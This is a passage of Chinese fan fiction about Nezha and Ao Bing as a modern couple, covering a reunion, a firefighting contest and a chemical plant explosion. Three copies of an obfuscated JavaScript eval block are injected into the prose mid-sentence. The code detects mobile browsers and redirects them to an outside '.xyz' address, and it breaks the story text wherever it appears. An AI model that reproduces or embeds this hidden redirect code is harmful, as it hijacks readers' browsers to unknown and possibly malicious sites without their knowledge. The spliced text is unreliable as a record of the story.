哪吒自站起来的一霎就紧紧把敖丙抱住了,头枕在敖丙肩上,一手疯狂捋那如绸缎般的长发,喉间溢着哽咽的声音,不时还抽着鼻子,强忍着不让自己真哭出来。 敖丙任他抱着,一下一下顺着小莲藕的背:“我不走了,我就天天呆这儿等你回来,当然加班我就没办法了。” 哪吒勉强从似被刀割的咽喉中发出声来应答,怎知小龙又踮起脚亲他面颊:“下次不要什么信都不透就把我抛下了,知道吗?” 小龙双手捧着他的脸庞,水青色的眸子泛着星光和宠溺:“我不想要不告而别。” 而后哪吒的唇齿被人撬开,上颚被舔舐着,舌头被吮着。敖丙把人压到摇摇椅上,一下子两人的世界都摇荡起来,天旋地转。 小莲藕还想起身,敖丙便一手压在哪吒胸口,把人摁瓷实在摇摇椅上,一手抓着哪吒的手腕,反剪到二人头顶。右膝则顶入哪吒/双//腿///间,只要敖丙用力一压,准能把哪吒痛得求饶,手和腿都被定住了,哪吒便只能受着、不得动弹。小龙一边用牙齿啃咬着,一边拿嘴唇吮吸着,闹的满房水声,听得哪吒耳尖发烫。 敖丙坏心睁开眼,眸子里竟露着几分狠戾,看着哪吒紧闭着眼承受亲吻,忽而重重将牙关咬合。 “唔!”哪吒吃了疼,闷哼一声,口腔里溢出铁锈味,他猛地睁开眼,对上的就是水青色眸子带着些许怒意与嘲讽看着他。 “这是惩罚。”敖丙把自己抽出去,用手背抹掉唇上挂的银丝,“再有下次,我变成龙拿尾巴抽你!”原因无他,人身他打不过这杀神,但他龙尾巴比哪吒还粗,定能打飞这差点让他守活寡的莲藕。 “我知错了……”哪吒把人抱到身上,抬头朝敖丙认错,“我不该自作主张找了份不着家的工作,错在没和你事先沟通。不该把你拿混天绫困住……” 敖丙把食指比在小莲藕唇上,俯下身去:“嘘——我知道你知错了,谅在你初犯,这次就从轻判罚。” “嗯……”哪吒把脖子抻了抻,敖丙知道这是在索吻便吻在他眉心了。亲着亲着,哪吒就想起来小龙等他的两百年,没忍住还是哭出来了,脸垮下来,敖丙惊觉手心湿了。 “怎么就哭了,刚刚不还好好的。” “呜……我就,我就心疼你,我是混账!”哪吒总不能说那两百年的事情,他不可以转头就把杨戬给卖了。 “嗯嗯,是混账,那晚上还掌了自己两巴掌,噼里啪啦的。”小龙沾走他的泪珠,配合着哪吒的思路。 “没事了,我原谅你了……”小龙坐在哪吒大腿上,一下一下拍着哪吒背,像在哄小孩子,“想哭就哭吧,我不走了。” 哪吒受了安慰,哭得更凶了,一边含糊说着对不起,一边又想象着小青龙在荷花池孤独捱过百年的画面,泪像爆了的水管一样流,叫不得停。 “对不起……对不起……你以后不会再等我的了……”小莲藕勾起小龙的尾指,承诺到。 “对了,我怎么打你电话你不接?”放肆宣泄一场,哪吒才想起来这遭。 “不可能啊,我手机不静音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15614536|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。”小龙常怕哪吒出事,他工作性质特殊,负伤率高,理了理衣领就走去客厅查看手机又发什么癫。 “谁把充电插头开关关了?”敖丙拿起已经因没电暂时阵亡的手机问到——这家就两人,害死手机的罪魁祸首不言而喻。 哦。哪吒昨天收吹风机时顺手把好几个开关都关了——省电是个好美德,但是差点把自己坑死。 那天日落西山,天上烧起了壮美的火烧云,漫天都是,紫粉色和青蓝色的云交织着,不断幻化着形状,延伸到无边无际的远方,天空五光十色,渐变着填充了天幕。那夕阳火红火红,向人间大地投去温馨的光。 公休日,这城市依旧繁忙,楼下传来鸣笛的声音,想必是又塞车了。 “哔哔——!” 网约车停在消防局门口,敖丙帮忙把行李弄下来。 “哟!李哥到了!”几个穿着作训服的消防员小跑着来接哪吒,今日是入营日。 结果被伸出援手的人不是哪吒,是敖丙。消防员们热切地接过了敖丙手上的水桶和沉甸甸的背包——哪吒看着就五大三粗的,看起来不太能提重物的是这位肤白气质脱俗的人。 于是敖丙两手空空地站在一旁,戏谑看着背着背囊的哪吒。 “这位是你朋友?”一位蓝朋友问到。 “对,叫我阿丙就好。”那几个消防员听出来声音是个男生,脸上不惊惊诧一下,又很快恢复平常,“幸会,我是他朋——”敖丙刚伸出右手还没握上去,哪吒就出声打断了。 “他是我爱人。”哪吒大大方方的说到,满眼都是小龙,语气里的自豪都要溢出来了。 敖丙怔愣着看向小莲藕,带着意外与惊喜把连礼数都失了——握手时应该是看着对方的眼睛的,结果他在看哪吒。 可虽失了礼数,小龙心里却还是开心得不得了。 敖丙把人送到门口,便不再往前走了。 “这周末,我回家。”小莲藕把行礼都放在地上,二人在门卫室前搂抱着,互相拿鼻尖蹭着。 “我等你。” 敖丙回家路上开心得直傻笑,都是被那句“他是我爱人”害得,心里像灌了吨蜂蜜那般甜。 回到家,今日正好是出分日,敖丙忐忑的打开网址,又一下子开心得蹦得三尺高。 “哪吒!我考上了!”小龙端着电脑兴冲冲冲出来客厅,却扑了个空。敖丙看着空无一人的客厅,少了个人和自己一唱一和的,心里略微惆怅。 哪吒不接电话,可能是还在忙着收拾。 小龙坐在沙发上,抱着个抱枕,眉目含笑地敲下:我考上省气象局了!离家不远。像个报喜鸟一样,又把这个信息转发给父亲、杨戬还有孙大圣。 父亲回复的最快:鲜花/抱拳,不愧我儿!为父替你高兴! 另外那俩隔了不久也回了些道贺的话语,惹得敖丙心里美滋滋的。 但是没等到最想要的那个人的贺喜。 直到月亮高悬,小龙都要昏昏欲睡了,哪吒才发来条信息:睡了吗,抱歉,我刚闲下来。 敖丙立马就打了个视频过去。 敖丙点了盏香薰蜡烛,房间里满满的金桂红茶味,闻得人直想找周公。烛光摇曳,映在小龙脸上,好似个昏黄的油画,敖丙眼睛都快困得合上了。 “哪吒……”小龙声音软极了,尾音又轻又长,听得人心都化,“嘻嘻,我考上气象局了……” “都这么困了还打呢?”哪吒看着那边睡意绵绵缩在空调被里的人,心里好像吃了刚烤的棉花糖般暖烘烘甜蜜蜜的,“恭喜!考到了喜欢的职位!丙丙就是厉害!” “嗯,我考上了……以后就可以慢慢履行龙族调风雨的职责了。”这末法时代,加上人类科技发展,已不怎么需要龙族治水了,可惜龙族大多数闲不下来,要不然继续履行神职,要不然就考点治水气象相关的,也算是为人间平安尽一份力。 “对了,气象局的工作是干什么的?”哪吒那边舍友都在探头,想看看这新同事传说中美得跟画似的对象长啥样。是的,只是过了一个下午,全局都知道了哪吒有个极好看的对象,闹哄程度比局里来的新人超级帅还高。 哪吒挥手轰开这堆凑热闹的,那边才传来小龙梦呓似的回答。 “就……看云图……”声音越来越轻,说得也越来越慢,“来大水了发预警、疏散群众,下雨……人……”直到再也蹦不出一个字了,小龙直奔周公而去。手一歪,手机就砸到枕头上,屏幕黑了,哪吒只能听得到那头轻浅的呼吸。 那夜哪吒一直没挂电话,听着小龙的呼吸声也入了梦乡。 翌日,敖丙起床:我手机怎么又关机了! 33.化工厂爆炸 6月的天,太阳毒辣。 “爽——!”哪吒一回到家就仰天狂嚎了一句,这鬼天气光是走路上五分钟都大汗淋漓,踏入空调房的一霎恍若走入仙境。 手一捋衣服,潇洒投进洗衣机里,三分球! “要洗吗?”哪吒穿着四角裤大大咧咧站在洗衣机前大声问到。 “我待会再换一身衣服再洗!”敖丙则从冰箱里搬出半个冰镇西瓜,应到。 “回来了?”敖丙也穿得清凉,宽口的无袖背心,从哪吒这能看见小龙放下西瓜时衣服袖口下若隐若现的身躯,白皙但匀称有力,连带着某处粉色转瞬即逝。 “先洗个澡吧,刚好出来西瓜也摊凉了。”小龙走过来本想亲人的,奈何哪吒满头是汗——无法下嘴,脚步硬生生折了个诡异的角度,坐回西瓜旁边了。 哪吒满怀期待举起的双手只能悻悻放下,挠挠头走去浴室了。 结果哪吒出来还是□□的,就穿着新的个四角裤大摇大摆。 敖丙看到那哪吒身材又变好了,肤色变黑了不少,但是小麦色的肌肤倒显得更有味道。哪吒宽肩窄腰,头发没擦干,发尾滴下水珠落到锁骨上,腹肌胸肌块块分明,人鱼线顺着优美的曲线没入裤头,再往下就是一个熟悉的帐篷,不禁让自己咽了咽口水。 “看什么呢这么出神?”哪吒只看一眼就知道敖丙满脑子想的什么,便挖了一勺子西瓜心怼到敖丙嘴里。 “唔!好甜!”小龙这次买的西瓜好,又甜又脆,很快满脑子只剩下西瓜了,拿起勺子就哼哧哼哧的挖,把靠心的挖了一大碗给小莲藕吃。 凉甜果肉入喉,驱走不少暑气。 “我下周六有个比赛要参加,回不来了,是全国消防员技能大赛。” 小龙闻言抬头:“巧了,我下周六有排班。” “你要不要来?家属能来参观,但是还会有公众媒体来。”哪吒犯了难,本以为敖丙正好休息,他还蛮想小龙在旁边看他耍帅的,结果周末小龙当班。 “我看看能不能调班吧,应该能和排周日的同事调一下。” 滋儿哇滋儿哇——蝉在被烈日烘烤着,发出尖叫。这天气热死人不偿命,敖丙发现散发难受,便扎了高马尾,结果头发放背上照样热得慌,便挽了个超大丸子头——他动了剪短发的念头了,这鬼天气一年比一年热。 “糟了,忘了提前冻冰水……”敖丙打开冰箱找了几瓶椰子水,手稍稍使了力就把椰子水冻成了冰。 伴随一声惊呼,敖丙赶忙停下法术——变冰后椰子水体积变大,差点溢出来,或者说把塑料瓶挤爆炸,他只能赶快开了瓶盖喝下几口了事。 许是赛场在室外,天气也热,偌大的体育场只剩下寥寥无几的家属和一大堆媒体过来,小龙寻了个有荫的地方坐下。 今日似乎忘性大,冰毛巾也忘了拿,小龙左顾右盼瞅着没人注意自己,偷偷拿法术沾湿了防晒衣,又把衣服冻起来顶在头上,偷摸摸给自己开空调。 “哥哥!你也过来看比赛啊?”一个模样俊俏的男生走了过来,径自在敖丙身边坐下,吓得敖丙赶快把法术去了免得穿帮。 “啊……是啊,你也是?” “喏。”男生一指正在准备拿梯爬楼的项目:“我来看我男朋友,最左边是他。”男生语气里全是自豪。 赛场传来哨声,那人如利箭脱弦冲了出去,三下五除二便登了顶,甩其他人员半层楼的速度。 “厉害吧!” “厉害啊,不是,你男朋友?” “哥哥,不用这么见外嘛,咱们一类人~”敖丙听了不禁眼皮一跳,这年头原来已经开放成这样了。 “你男朋友呢?” “在那。”敖丙遥遥一指远方,那是个耐力负重跑项目。正有人一下子扛起个超级大轮胎飞奔——速度像在拍急支糖浆广告。后面那个队友应该是没出什么力,还得飞快倒腾着跟上前面队友的脚步。 一时间,媒体把快门摁成机关枪,连观众席都有人发出惊呼。 “我靠,是人吗?”男孩惊讶,却发现敖丙眼里没有惊诧,全是理所当然的爱意,便猜出个七七八八,“你的大力士男朋友?” 这合理吗,几百斤的轮胎扛起来一跑就是三百米,把其他队远远甩在后头。 “他就是浑身牛劲儿。”敖丙扶额,看那小孩儿脸热得通红,随手抓了瓶冰水递过去,把人冻得抖了下,“要不要?” “谢了兄弟。”那人不客气,扭开瓶子喝了几口为数不多冰融出来的椰子水——敖丙刚刚特意解冻了点,要不然这小生可是一口水喝不着。 结果远方赛场上那两人竟互相碰拳庆祝。 “他俩认识啊?”敖丙吃惊。 “原来传言中很漂亮的情侣是你啊!还真是很漂亮诶,他没骗我。” 供词一对,还真是一个队的,敖丙便不惊奇那入营日众人为何众人一副见怪不怪的样子,原来是有珠玉在前。 两人的爱人在赛场上挥汗如雨,力争上游,本以为自己的爱人会全心全意看自己英姿飒爽挥洒汗水——其实那俩已经聊开了,又往荫顶处躲了去,并没有怎么在意全国各个消防队打得火热,当然也没看见这俩发挥出200%的实力来搏爱人一笑——俗称一片努力打水漂。 “他是你第几个啊?谈了多少年了?” “啊?额……应该是第一个吧,谈了……”敖丙绞尽脑汁想这应该说多少年,总不能说一句上下五千年把人吓死,这是什么千年老妖吗? “四五年吧……”敖丙估摸着自己看起来也就27、28,随口说了个比较符合伦理的年数。 “哇塞,互为初恋!”男生语气里都带着艳羡,“真好啊,我和他都在想早些遇上对方就好了。” “至少现在在一起了,也不错。”比赛结束,哪吒队伍夺了冠,如今正准备去领奖,“走吧,下去找他们。” “阿丙!我赢啦!”哪吒远远瞧见熟悉的身影就狂挥手打招呼,嗓门大得很,生怕别人没注意到。 哪吒笑得灿烂,像烈日下绽放的向日葵般,双手给敖丙挂上了单人夺得的金牌,挂得脖子沉甸甸的。小龙抓起那几块金牌仔细打量,好奇得拿牙咬看看是什么口感——不是真金,龙族好珠宝,这世间珠宝的口感他早尝遍了。 哪吒看见那小虎牙在自己金牌上磨着,心里痒痒得很,便把人搂紧自己怀里,敖丙虽想跑开,但自己也热出一身汗,那就谁也别嫌弃谁。 哪吒亲着敖丙的头发邀功到:“厉害不厉害?” “你扛轮胎时是不是忘了得演一下……”敖丙把金牌放下了——口感很差。 “额……热血过了头,忘了。”哪吒嘴硬,他绝对不会说是知道敖丙在看自己所以特意逞强了,凡躯力量有限,虽说他确实比常人力气大,但到现在手臂还酸痛着呢——把肌肉拉伤了。 “来来来!今晚局里团餐啊!有亲朋好友的都可以叫上!”说话的人应该是队长,手捧着奖杯吆喝着,这一次他们是全国冠军。 “走一杯走一杯!”饭堂里,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628927|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群人闹哄哄的,端着各色饮料的杯子碰着,打成一片——他们不能喝酒,也不喜喝酒。 “诶老王,你是不是怀了来着?” “什么我怀了,是我老婆怀了!”回话那位男生正热切地给老婆夹菜呢。 “我不吃这个。”女孩说,“我口味变了。” 男孩殷切应着,脸都要乐开花了,忙把让人垂涎三尺的五花肉夹回自己碗里:“老婆想吃什么,我给你夹?” 女孩点了几个菜,那小王哥也不管自己肚子饿得咕咕叫就端着老婆的碗在大桌边转着圈给她夹菜,惹得一众人起哄说他妻管严,他听了可开心,脸都红了,嘴巴咧到耳根子。 哪吒不语,一味效仿着给敖丙夹菜,直到敖丙一筷子打在他手背上。 “够了够了,我自己能夹。”然后把自己摞得跟小山似的饭碗又扒拉一半回哪吒碗里。 这一幕看得隔壁那位小弟找男朋友打趣儿:“你看看你队友,都给别人夹菜,你怎么不学学。” “得了吧,你那嘴刁得,爱吃啥自己夹。”那位消防员嘴里含糊说着,许是比赛耗光了能量,如今已经干到第三碗饭。 小弟弟直接抢了男朋友碗里一半的菜吃,那消防员无奈一笑,起身往被抢得空空如也的碗里添菜。 “丁铃铃铃——”是警龄响了,伴随着一阵碗筷敲上桌子的声音,一群蓝色的身影如利箭般飞快窜出去。 “诶!注意安全啊!”不知是谁的爱人喊了一句。 徒留一桌子家属面面相觑,有人面带担忧,有人早已习惯,最不担心的莫过于敖丙,小龙看着一张张忧心忡忡的脸,突然觉得自己幸运极了。 大家等了一两个小时没等到人回来。 “夜深了,我开车送你们回家吧。”敖丙起身说到,唯二的两位男性开车把女士们小孩儿们一一送回家。 夏天虽然长,但熬一熬就过了,哪吒他们终于不用频繁出警,气象局也算是过了各种高峰期。 “我觉得能预先判定寒潮来临,让农民们先做好准备。” “我感觉达不到寒潮判定标准。” “前期冷空气已经降温了一波,寒潮预警确实不好判定。” 气象局正开着晨间商讨会,工作人员们就这进来天气正谈论着该怎么发布预警,冬天最怕就是气温变化大,一对人体不好,二对作物不好。 众人正七嘴八舌讨论着,忽的。 “砰——!”一声闷响自远方传来,竟把整个气象局的窗户都震了几下,放在桌子上的水也被吓得荡起波纹来,巨响打断了众人的讨论,大家一下子往窗外望去—— 一朵黑色的蘑菇云升天了,得亏这是太平盛世,放百年前,敖丙大概会以为又打仗了。 敖丙瞳孔骤缩,顾不上讨论发不发布寒潮警告,快步走向窗前,火速查着百度地图上蘑菇云的地点和微博同城新闻。 “突发!旧西园化工业园区突发爆炸!”一时间,媒体的报道走街串巷,敖丙盯着远方冲天的黑烟,眉心拧成一团,不自觉把手机攥紧了。 “风向是什么!”有人立马喊了一句,若风朝着市区来,而浓烟有毒的话,他们需要立刻上报,或许还面临着疏散全城居民的局面。 “冷空气南下,预计持续两天以上的西北风,市区在上风向!”幸好,老天眷顾人间。 “哪吒……”敖丙心跳得七上八下,祈祷着哪吒给他发信息让他安心,尽管他知道这希望渺茫。 “千万不要出事啊……”敖丙喃喃道。 34.神仙不能替凡人扛下因果劫难 主任走来窗边拍拍敖丙肩膀,大家都知道他有个做消防员的男朋友,也没说什么,不支持也不反对,如同个稀松平常的事情。 “小敖啊,你若是担心,告个假就好。大家都理解的” “我……我还好……反正告了假,我也帮不上什么忙……”敖丙虽然心急如焚,却也只能在工位上看着各种数据,压下焦躁,坚守气象一线。 假的,敖丙在摸鱼,手机一直自动刷新着相关新闻,气象局在市中心,如今周围的消防车应是出动了不少,鸣笛声不绝于耳。 “叮——”是微信,哪吒发的。 “我去救火了,这次比较危险,让我们写遗书了。” “你别担心,就算收到死亡通知也别怕,我不会死的,我换个肉身就会回来。”——换句话说,哪吒已经能预知到会有消防员牺牲了,若是最后只剩下他一个独活,情况也不好解释,只能死遁。 “我永远爱你,等我回家。” 哪吒把手机搭在大腿上,他也不知道敖丙上班看不看手机,明明知道自己死不了,却还是很希望小龙立刻给自己回复——这可能接下来救火的几天唯一一次看手机了。 哪怕…… 哪怕只是一句最简单的好。 “你一定要回来,不管多久,我都等你。”敖丙很快就回信息了,生怕哪吒把手机收起来。 哪吒翻来覆去的把这句话看了又看。 “我爱你。”哪吒打字发过去。 那边发了条语音。 敖丙声音都发着颤:“我爱你,哪吒,你一定要回来。” “我一定会回来的。”他答应的话,从始至终一言九鼎,稍稍安抚了小龙七上八下的心。 警笛长鸣,闹市在车窗外飞驰而过,很快便到了郊区地带,车里同事们都深色凝重,大家都在敲着手机,有一些在录像。 “爸妈,我去救火啦,这次……这次比较危险,我……你们……”那位同事憋不出来什么了,长叹着气终止录制。 有人举起手机,张了嘴,什么也说不出,只是笑着看镜头。 有人一直喃喃着我爱你。 有人在托付兄弟姐妹照顾好家人。 神明坐在一旁,平静看向与他略有交集的凡人奔赴未知的前路,他虽怜爱世间,但并非无所不能,这劫难因果,他不能替凡人扛下。尝下的苦辣辛酸,又何尝不是神仙自己要渡的劫。 车胎可能撞到什么了,把众人颠簸了几下,有人强颜欢笑,有人视死如归。 气象局的玻璃又震了几震,敖丙噌一下站起,条件反射般跑到窗前。 距离第一次爆炸半小时后,第二朵蘑菇云升天。 “我刚刚写完了遗书。”敖丙想起来聊天窗口那刺眼的字。 嘴巴张着,却只能吸入寒气——还没到供暖的时节。敖丙只觉冷冽灌入喉中,惹得胸口发痛。手指抖得像得了病般,颤着抚上玻璃,吐出的气化成白雾粘在玻璃窗上,模糊了远处的蘑菇云。 “哪吒……” “老天啊……求你保佑他平安……保佑所有人都平安” 神仙原来也会有向天祈祷的时候。 局长走到敖丙身边拍拍他的肩:“你今天先别工作了,歇着吧。”老人家招招手,一个实习生立马就坐到敖丙工位上,生怕这位敬业过头的气象员前辈不答应。 敖丙只好去了茶水间坐着,他不想回家,心里忐忑不安,只能靠刷社媒新闻缓解焦虑,结果是越刷越焦虑,手都不自觉都抓着长发,把它们揉成一团,打成死结。 一个同事过来抽烟。 “啪嚓”火光猛地窜起。 烈火将世界扭曲成诡异的模样,视野所见之处全是火焰,或如水般在地上淌,或自天上如流星坠落。纵是哪吒生来火系,在火场里也被热得大汗淋漓——半小时前他可是在宿舍被冻得披了件羽绒背心。视线被汗水迷了眼,看什么都迷迷糊糊的。 “再次检查装备,进火场搜救!路线图都记在脑子里没!”队长发话,一行人决绝地冲进漫天火光里,在烟雾中搜寻可能存在的生还者——他们的任务是搜救,灭火交由其他队执行。橙红色的身影逆着热浪鱼贯而入,前仆后继。 厂房内是极度的高温,偶尔带着些东西自头顶落下来。哪吒扛起一个已经晕过去的人,把自己的呼吸面罩扣过去就往外冲。 天花钢梁都被烧得嘎吱作响,眼看就要塌下来砸到一个同行身上。 “小心!”哪吒急了,想跑过去把人推开,但是来不及了——只能操着混天绫把那个消防员拽了一把,堪堪躲过坠下的横梁。几个人一起滚到地上,火舌无情的舔舐着他们的防火服,哪吒把伤员紧紧抱在怀里,拿身体挡着烈焰,充作肉盾。 “走!快起来走啊!”哪吒一手扛着群众,一手把吓破魂的同事提溜起来,“怎么样伤着没有?” “没事,谢谢!谢谢!”那人不住道谢,“我继续去了!谢了兄弟。”而后头也不回地往火场深处跑去。 哪吒也马不停蹄往出口赶,走了几步却猛地一滞——方才他的脏器就像海绵那样被抓着挤,扭成一团。 “嗬……”饶是身经百战过,也不曾如此疼过,痛得他连心跳呼吸都停了一刻,眼前似乎黑了一下,把世界染成崎岖的模样。 “咳——!”他猛一顿,努力抱好伤者,却淬出一口鲜血来,血被喷到了地上就被立马蒸得干了。 火场无情,哪吒来不及细想,强忍着痛拔腿就跑。可其实后来他若是细想,就知道那并非肉体凡胎无法负荷高温环境而吐出血来,或许,便也不会有后来那遭——可惜世上没有如果。 “医生!医生!”哪吒把人放下,看见有医护来了便头也不回地往火场跑。 刚冲到离工厂不远的地方,那火焰却猛地反攻,恍若个火流星砸向人间,连带着把周遭的消防员也掀飞了——厂子又炸了。 “嗡——”耳膜方才可能被冲击波伤到了,哪吒现在只听得尖锐刺鸣音,他才发现自己被吹飞了十几米,刚撞上了消防车,四肢百骸迟到的传来痛楚。其他消防员也没好多少,一些晕了,一些挣扎着爬起,高压水枪胡乱舞着。 意识过了好一会儿才回笼,瞳孔一缩——哪吒把伤员扛出去时,余光里刚好有一队消防冲了进去。 “糟!”哪吒暗道不好,努力爬起来就要往刚炸开的厂里冲。 结果他被好几个人七手八脚的拉住劝道:“你疯了!” “不能冲进去!”通天的火舌飞窜上天,无情吞噬一切,就连那钢筋混凝土都烧得软了、碎了,这种情况是万万不能贸然进去的。 “放开我!放开我!”哪吒浑身都在使力挣脱同事的桎梏,“我死不了的!让我进去!” 他天生怪力,几个五大三粗的消防员合力竟也拦不住他冲进去送死,只能看着他橙色的背影毅然冲入红色的火墓里。 满眼的红色,混杂着黑烟,哪吒觉得自己像锅里的蒸鱼——快熟了那种。隔着远距离看着几个模糊人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗬……嗬……”胸脯猛烈起伏着,脑子疼得快像炸掉一样,嗓子如刀割,血沫子顺着呼吸呛了出来,喉咙、鼻腔,全是铁锈味,腥得哪吒想屏息。他全身都脱了力,软绵绵地躺倒在地上,眼睛好像看不清了,什么白白的东西把自己团团围住。 总不能是白无常吧,他又死不了,哦对了,白无常也不会有这么多个。 清新的空气猛地从口鼻灌入,把哪吒从混沌中扯出来,视野火速恢复清明。 “诶!按住他!”医护被这伤员吓着了,方才还脱了力的,现在就把呼吸面罩取下要从担架车上翻下来,力道大的跟牛似的,一个人根本按不住他,更何况手臂血肉模糊,也不敢出力去按。 “我还能救!还能救!!让我进去!!”哪吒嗓音沙哑得和十年老烟枪一样,自顾自扯开针头,手背被弄得血淋淋的,脖子青筋暴起。 一个医生一手把他圈住,往脖子里扎了不知道什么东西:“厂房塌了。”医生臂膀很有力,声音却跟个斩头刀似的。不消一会,哪吒就不动弹了,软倒在医护人员的臂弯里,急促的呼吸变得平缓下来,失了意识,眉心紧皱着,身体无意识抽动,像是陷入了噩梦的沼泽。 敖丙被电话CALL到医院时,看见的就是哪吒手臂都缠满了绷带,渗着干涸的血迹,人却好像不知道疼似的,呆呆坐在急诊处的走廊加床上。眼神聚不了焦,空空荡荡地凝视地板,也不知道在想什么,向来挺直的腰杆如今佝偻着,整个人像丢了魂一样。 急诊已经乱成一锅粥了,哪吒却一动不动的低着头,人来人往,他像是唯一一个被定格住的伤员,遗世独立。 35.化工厂终章 直到身旁的床垫陷下去,哪吒才回过神,敖丙已然坐在身边了,正关切的地望着他。 “你怎么来了?”他沙哑问到,虽喝了大量的水,嗓子却依旧像吞过刀一样哑着。 “我担心你。”小龙抱过来,但又怕把哪吒压疼了,换成了环住完好无损的脖子。 二人对视,红棕色的眸子连眼白都红透了,许是在火场被烟熏的,却看不出什么情绪,努力探寻才看见怅惘,水青的眸子则全是担心和心疼,连嘴角都耷拉着。 敖丙又轻轻抚着手臂的绷带:“疼吗?” “还好。”哪吒其实还没回过神来,恍恍惚惚的,烈火还在脑子里燃着,身子仿佛还能感受到高温的灼烧,又忽地感觉一阵凉意攀上小臂,猛地拿手抓住敖丙,“敖丙你不用这样!” 敖丙纤长的手指正虚虚握在纱布上,偷偷地把神力度过来帮忙修复伤口,想让哪吒好受点。 “会好受点吗?” 哪吒手用了力,把敖丙的爪子拎走了:“好受,但是……你让我疼着吧……”敖丙读出来这话背后是指若肉/体不疼了,心就疼得慌。 “要聊聊吗?我听着呢。”敖丙从包里掏出纸巾,凝水打湿,一点点把哪吒脸上的灰擦干净,把黝黑的东西擦走了,脸倒是没什么伤,依旧英俊。 “我……”哪吒本是不想说的,他怕小龙听了也难受,但是憋着不说心里闷得慌,“我没救下来同事……” 其实他现在是还能回去继续救火的,毕竟自觉身体无碍,结果他刚打电话回去说要复命,就迎来上级的破口大骂:“你个小崽子!刚刚在急救车上呕了一升的血,回个屁的回!”那火气比厂里的火还高上几分。 “不是,我真的没……”没等哪吒说完话,那边二话不说就把电话挂了,哪吒张张嘴说不出什么,便抓着手机呆坐着凝思了。 “我看着他活活被烧……”尾音越说越颤,到最后泪就啪嗒地掉下来。自责和愧疚淹没了哪吒,像一汪水要将他淹没、窒息。 “混天绫也不知怎么了,不听使唤,要不然、要不然还能再带几个人出来的……” 敖丙说不出来安慰的话,急诊室里基本上都是火场送来的伤员,哭声、喊声、急救声连成片,直钻着大脑,空气里血腥味、烧焦味、酒精味杂糅着刺激鼻腔。没神想看众生疾苦,却也都没那么大能耐救下所有人,他只能一下下捏着哪吒后颈软肉安抚着,任着哪吒靠在身上倾诉着、哭着。 宣泄出来就好了,敖丙想,那样就没那么难受了。 “现在播报化工厂爆炸最新信息。”这医院急诊处竟然还装了电视,现在记者正在进行现场报道,记者站的地方哪吒不认得,应该是离火场挺远的安全地带,“据悉,核心反应釜所在厂房已塌陷,人员伤亡情况未知。” 镜头一个长焦怼过去,屏幕只剩下一团在烈焰光下黑乎乎的东西,偶尔还有些烧得弯了的钢筋——哪吒认出来了,那就是他带了十几个人出来的核心厂房,如今已经变成燃着大火的废墟,但是为什么……同事们不是在用水灭火? “根据工作人员提供的信息,附近的储存罐存储活泼金属及硝化废物。” 哪吒听着倒吸一口气——方才没有这个信息,所以一直是按着灭混凝土厂房和无机酸反应釜的方法来灭火,而且先前厂房负责人是再三确认过的。 如今是什么情况,为何现在才说附近的储存罐的事儿! 敖丙眉头一皱:“活泼金属……是不是不能碰水来着?” 哪吒下意识回了句对,然后突然间有一股不祥的预感。 敖丙想起来自己刚离开工位时看的云图,如果没记错,似乎……有片即将成形的浓积云。 “糟了!”敖丙连忙掏出手机给同事打电话,所幸那边立刻就接了,马不停蹄问到,“我市是不是有一块浓积云来着?” “啊……?”同事被突如其来的问题打的恍惚,却还是看向气象图,“啊,对,雨云发展成了,往东南走。” “化工厂燃烧区附近的储存灌里的东西不能碰水!”敖丙就差在医院吼出来了,语速急得很,像机关枪似的蹦出来。 那边一下子就get到重点,在办公区大声吆喝了这个信息,恍若惊雷炸下——一下把气象局炸开了锅。 “哪吒,如果……如果火势没控制住……”新闻里,那火势又往外扩了几分,就快要够着其他分区了,敖丙一手拿着手机通话,一边问哪吒,“会怎么样?” “剧烈燃炸。”哪吒回想着路过看见的一排排储藏罐们,刚擦干净的脑门又渗出冷汗,“不知道会不会引起连环爆炸,燃烧会烧出些什么东西、爆炸规模,都不好说。” “小丙啊,我们这边通知其他部门了,雨云……一小时内会飘到化工厂的地方。”那边传来的是局长的声音,饶是在气象局历经40年大风大浪,现在的镇定里都透着一丝慌乱。 60分钟内得扑灭大火,或者至少保证下雨前大火没把隔壁罐区引燃。哪吒攥紧手心,把床单都扭皱了,牙关紧咬着。 难……核心反应釜现在还在进行小范围的爆炸,全市的消防基本都去支援了,火势一时半会很难控制住,风向吹的地方恰好就是活泼金属区,间接增加了极大的压力。 敖丙急得只能用嘴吸吐气,鼻腔似被水泥糊住了,脑子飞快的转着。他把手机挂了,用仅有两人能听见的音量说着: “你自己一个人在这里可以吗?” “我没事,你要干嘛?” “化龙,带走雨云。”敖丙言简意赅,“我走了。你好好照顾自己。”他火速查了一下云图信息,记在脑子里,便把手机交由哪吒看管——他总不能拿龙爪夹着手机上天,也不能叼着手机,说不定一个不小心就把手机吃了。 “诶!诶——”哪吒连人手都没摸着,小龙一下子就跑远了。 